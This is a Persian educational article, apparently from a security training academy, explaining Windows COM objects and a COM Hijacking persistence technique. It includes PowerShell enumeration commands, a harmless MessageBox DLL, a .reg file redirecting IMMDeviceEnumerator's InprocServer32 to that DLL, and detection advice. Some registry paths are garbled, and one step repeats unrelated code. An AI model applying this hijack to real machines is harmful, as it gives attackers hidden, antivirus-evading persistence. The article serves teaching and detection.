بررسی تکنیک COM Hijacking در راستای نگهداری دسترسی (Persistence) – آکادمی راوین
بررسی تکنیک COM Hijacking در راستای نگهداری دسترسی (Persistence)
مقاله
  • ۲۴ شهریور ۱۴۰۱
  • Learning Road Map
  • ۷ دقیقه خواندن

بررسی تکنیک COM Hijacking در راستای نگهداری دسترسی (Persistence)

آکادمی راوین

پیش‌گفتار

در سال‌های اخیر بسیاری از نفوذگران و تیم‌های APT  از قابلیت‌های Object COM در سیستم‌عامل ویندوز برای انجام مقاصد مخرب خود از جمله  lateral movement ،persist و اجرای غیر مستقیم دستورات در سیستم‌عامل بهره می‌برند. این ویژگی در سیستم‌عامل‌های ویندوز از نسخه‌ی ۷ به بعد وجود دارد. اگرچه COM Object  به خودی خود آسیب‌پذیری امنیتی به حساب نمی‌آید اما در کنار مزایای خود، قابلیت‌هایی را نیز در اختیار مهاجمین سایبری قرار داده است که به آن‌ها در رسیدن به اهداف خود، از جمله دور زدن سامانه‌های امنیتی مانند آنتی‌ویروس کمک می‌کند. در این مقاله ابتدا به بررسی COM Object پرداخته و پس از آن یک نمونه از حملات COM Hijacking‌ شرح داده شده است.

COM Object چیست؟

شرکت مایکروسافت COM (Component Object Model) را با این عبارت تعریف می‌کند: «یک سامانه‌ی مستقل از پلتفرم ، توزیع شده و شی گرا برای ایجاد اجزای نرم‌افزاری باینری، که می‌توانند با یکدیگر در تعامل باشند». هدف از ارایه‌ی این فناوری، فراهم کردن رابطی است که به توسعه‌دهندگان امکان آن را بدهد  تا اشیای برنامه‌های دیگر را کنترل کرده یا تغییر دهند. به عبارت دیگر COM به کامپوننت‌های مختلف نرم‌افزارها اجازه می‌دهد تا با استفاده از رابط‌ها و اشیای مختلف در یک Global Repository با هم در ارتباط باشند. این Repository توسط رجیستری در سیستم‌عامل ویندوز اداره می‌شود. در واقع هنگامی که یک کامپوننت نرم‌افزاری می‌خواهد به یک شی دسترسی داشته باشد، این دسترسی به واسطه‌ی یک درخواست به رجیستری بر اساس یک شناسه‌ی یکتا به نام GUID اداره می‌شود. زیر هر GUID ارجاعی به فایلی که رابط‌های کلاس را پیاده‌سازی می‌کند وجود دارد.

اغلب اشیای تعریف شده به عنوان COM در سیستم‌عامل با شناسه GUID که نمایان‌گر شناسه‌ی کلاس یا CLSID‌ می‌باشد، و ProgID که شناسه‌ی مبتنی بر عبارت متنی برای یک شی COM است، تعریف می‌شود. مشخصات و اطلاعات اشیای COM تعریف شده، در مسیرهای HKLMSoftwareClassesCLSID یا HKCUSoftwareClassesCLSID از رجیستری سیستم عامل قرار دارد. در توضیح HKCU و HKLM می‌توان گفت سیستم رجیستری از Hiveهای مختلف ساخته شده است به‌گونه‌ای که HKCU در آن، Hive کاربر فعلی است و رجیستری تمام اشیای COM مبتنی بر کاربر در آن قرار دارد. از طرف دیگر HKLM نیز Hive ماشین محلی بوده و تمام اشیای مربوط به سراسر ماشین را در خود نگاه داشته است.

به منظور آشنایی بیشتر با اشیای COM تعریف شده در سیستم‌عامل می‌توان از دستور زیر برای بدست آوردن شناسه CLSID و ProgID هر شی تعریف شده، استفاده کرد:

gwmi Win32_COMSetting

به عنوان مثال با استفاده از دستور زیر می‌توان اطلاعات COM مربوط به نرم‌افزار Excel را بدست آورد:

gwmi Win32_COMSetting | ?{ $_.ProgId -like “*Excel.Application*”}

خروجی این دستور در شکل زیر نمایش داده شده است:

__GENUS : 2
__CLASS                  : Win32_ClassicCOMClassSetting
__SUPERCLASS             : Win32_COMSetting
__DYNASTY                : CIM_Setting
__RELPATH                : Win32_ClassicCOMClassSetting.ComponentId=”{00024500-0000-0000-C000-000000000046}”
__PROPERTY_COUNT         : 26
__DERIVATION             : {Win32_COMSetting, CIM_Setting}
__SERVER                 : DESKTOP-PC
__NAMESPACE              : rootcimv2
__PATH                   : \DESKTOP-PCrootcimv2:Win32_ClassicCOMClassSetting.ComponentId=”{00024500-0000-0000-C
                           000-000000000046}”
AppID                    :
AutoConvertToClsid       :
AutoTreatAsClsid         :
Caption                  : Microsoft Excel Application
ComponentId              : {00024500-0000-0000-C000-000000000046}
Control                  : False
DefaultIcon              :
Description              : Microsoft Excel Application
InprocHandler            :
InprocHandler32          : ole32.dll
InprocServer             :
InprocServer32           :
Insertable               : False
JavaClass                : False
LocalServer              : C:PROGRA~1MICROS~1Office16EXCEL.EXE /automation
LocalServer32            : C:PROGRA~1MICROS~1Office16EXCEL.EXE /automation
LongDisplayName          :
ProgId                   : Excel.Application.16
SettingID                :
ShortDisplayName         :
ThreadingModel           :
ToolBoxBitmap32          :
TreatAsClsid             :
TypeLibraryId            :
Version                  :
VersionIndependentProgId : Excel.Application
PSComputerName           : DESKTOP-PC

با توجه به اطلاعات بدست آمده از یک COM با استفاده از دستور بالا، به منظور دسترسی و استفاده از توابع و کلاس‌های آن با استفاده از شناسه‌ی ProgID می‌توان از دستورات PowerShell زیر بهره برد:

$COM_Object = [Type]::GetTypeFromProgID(“Excel.Application”)
$Object = [System.Activator]::CreateInstance($COM_Object)

همچنین به منظور دسترسی به یک COM و استفاده از توابع و کلاس‌های آن با استفاده از شناسه CLSID می‌توان از دستورات PowerShell زیر استفاده کرد:

$COM_Object = [Type]::GetTypeFromCLSID(‘00024500-0000-0000-C000-000000000046’)
$Object = [System.Activator]::CreateInstance($COM_Object)

برای مثال به منظور آشنایی بیشتر با اشیای تعریف شده در COM و شناسه های ProgID و CLSID، با استفاده از شی COM مربوط به نرم‌افزار Excel، در PowerShell اقدام به ایجاد یک فایل می‌کنیم. کد PowerShell مورد استفاده در شکل زیر نمایش داده شده است:

$COM_Object = [Type]::GetTypeFromProgID(“Excel.Application”)
$excel = [System.Activator]::CreateInstance($COM_Object)
$excel.visible = $True
$workbook = $excel.Workbooks.Add()
$workbook.SaveAs(“Test.xlsx”)
$workbook.Close
$excel.Quit()

در صورتی‌که این برنامه با موفقیت اجرا شود، یک فایل اکسل با نام test.xlsx در مسیر جاری با استفاده از شی COM مربوط به Excel.Application‌ ایجاد می‌شود. حال که به طور کلی با مفهوم COM Object‌ آشنا شدید، در بخش بعد حمله‌ی COM Hijacking به همراه یک مثال شرح داده خواهد شد.

COM Hijacking چیست؟

همان‌گونه که در بخش قبل شرح داده شد، به‌طور خلاصه هنگامی که نرم‌افزاری قصد ایجاد یک شی جدید با استفاده از اشیای COM موجود را داشته باشد، توسط CLSID آن «شی COM» مسیر فایل اجرایی مورد نظر خود را به دست آورده و بارگذاری می‌کند. حال اگر مهاجم، آدرس فایل باینری مخرب خود را در آدرس رجیستری مربوط به آن شی جایگذاری کرده باشد، نرم‌افزار درخواست دهنده، فایل مخرب را اجرا و مهاجم به هدف خود می‌رسد. این روش را به اصطلاح COM Hijacking می‌نامند و در صورت موفقیت‌آمیز بودن، ابزار مخرب توسط یک نرم‌افزار شناخته شده و قانونی اجرا خواهد شد.

تکنیک COM Hijacking یک روش شناخته شده است که در چند سال گذشته توسط نفوذگران برای اجرای کدهای مخرب و اغلب با هدف Persistent استفاده می‌شود. با این حال هنوز هم در بسیاری از سازمان‌ها این تکنیک مورد غفلت واقع شده، در حالی‌که اجرای کد با استفاده از این روش کم سروصداتر و مخفی‌تر از  اغلب روش‌های Code Injection‌ شناخته شده‌ی دیگر است.  امروزه اغلب محصولات امنیتی می‌توانند Code Injection ‌را به راحتی تشخیص دهند اما از آن‌جایی که COM Hijacking‌ در اشیای COM شناخته شده و قانونی پنهان می‌شود، تشخیص تفاوت‌های رفتار مخرب از رفتار قانونی دشوار است.

به‌عنوان نمونه، فرض کنید به منظور پیاده‌سازی یک سناریوی COM Hijacking‌ می‌خواهیم با استفاده از IMMDeviceEnumerator که یکی از COMهای شناخته شده است، اقدام به حفظ دسترسی در سیستم‌عامل (یا به اصطلاح Persistent) کنیم. برای این منظور در ابتدا اقدام به پیاده‌سازی یک برنامه‌ی ساده (مطابق کد زیر) و کامپایل آن به DLL خواهیم کرد. این برنامه در صورت اجرا، تنها اقدام به باز کردن یک MessageBox خواهد کرد.

#include <Windows.h>
BOOL APIENTRY DllMain (HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, “Hello All!”, “Error”, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;             

درگام نخست به منظور شناسایی امکان‌پذیری COM Hijacking با استفاده از نرم‌افزار ProcMon، اقدام به شناسایی رویدادهایی می‌کنیم که در تنظیمات فیلتر رویدادها، دارای مقادیر زیر باشند:

$COM_Object = [Type]::GetTypeFromCLSID(‘00024500-0000-0000-C000-000000000046’)
$Object = [System.Activator]::CreateInstance($COM_Object)

عبارت بالا، مقدار CLSID مورد استفاده در فیلتر رویدادها برای شی IMMDeviceEnumerator است. تصویر زیر نشان‌دهنده‌ی نتیجه این فیلتر و اجرای نرم‌افزار VLC می‌باشد:

ساختار تعریف شده در رجیستری برای هر شی COM دارای دو مشخصه LocalServer32  وInprocServer32  است، که مشخصه‌ی LocalServer32  بیان‌گر محل قرار گرفتن فایل اجرایی exe برای این شی COM و مشخصه InprocServer32 بیان‌گر محل قرار گیری فایل اجرایی DLL در سیستم‌عامل می‌باشد. یک نمونه از موارد ذکر شده در شکل‌های زیر نمایش داده شده است:

در گام بعد به منظور تکمیل فرآیند Hijacking با استفاده از کد زیر اقدام به ایجاد COM مورد نظر در رجیستر و قرار دادن مسیر dll نوشته شده در پارامتر InprocServer32 می‌کنیم. در این مرحله اگر کد زیر به واسطه‌ی فایلی با پسوند .reg ثبت و اجرا شود، فرآیند Hijacking تکمیل خواهد شد.

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSOFTWAREClassesCLSID]
@=”{BCDE0395-E52F-467C-8E3D-C4579291692E}”
[HKEY_CURRENT_USERSOFTWAREClassesCLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}]
@=”IMMDeviceEnumerator”
[HKEY_CURRENT_USERSOFTWAREClassesCLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}InprocServer32]
@=”D:\Projects\Ravin\ComHijacking\Test.dll”
“ThreadingModel”=”Apartment”

در شکل زیر، مقادیر  رجیستری بعد از اجرای فایل حاوی دستورات بالا نمایش داده شده است. همان‌گونه که مشاهده می‌کنید آدرس فایل DLL مورد نظر در رجیستری ثبت شده است.

در صورتی‌که نرم‌افزارهای سیستم‌عامل اقدام به فراخوانی IMMDeviceEnumerator نمایند، DLL قرار گرفته در پارامتر InprocServer32 در فایل اجرایی بارگذاری می‌شود. در شکل زیر، نتیجه‌ی اجرای DLL نوشته شده را نمایش می‌دهد که با استفاده از نرم‌افزار VLC اجرا شده است. همان‌طور که مشاهده می‌کنید کد مورد نظر ما نیز اجرا شده است.

روش‌های مقابله و شناسایی

اشیای COM اغلب توسط بخش‌های مختلف سیستم استفاده می‌شود و به همین دلیل بستن آن، راه حل مناسبی برای مقابله با COM Hijacking نیست. اما با روش‌های دیگری می‌توان فعالیت‌های مخرب را شناسایی کرد. به عنوان مثال اضافه شدن مقادیر در زیر مجموعه‌ی HKEY_CURRENT_USERSoftwareClassesCLSID یک امر متداول نیست. بنابراین با نظارت بر تغییرات رخ داده در این کلید رجیستری می‌توان حملات COM Hijacking را شناسایی کرد. از طرف دیگر اگر یک نرم‌افزار قانونی در حال استفاده از این کلید رجیستری است، می‌توان بر روی تغییرات احتمالی در مسیر شی COM که آن نرم‌افزار استفاده می‌کند نظارت کرد. با یک جستجوی ساده، مطالب مختلفی برای شناسایی و مقابله با این نوع از تهدیدات می‌توان یافت. به عنوان نمونه می‌توانید مطلب زیر را مطالعه کنید:

https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

ارتباط با نویسنده‌ی مقاله در توییتر:

https://twitter.com/MF4rr3ll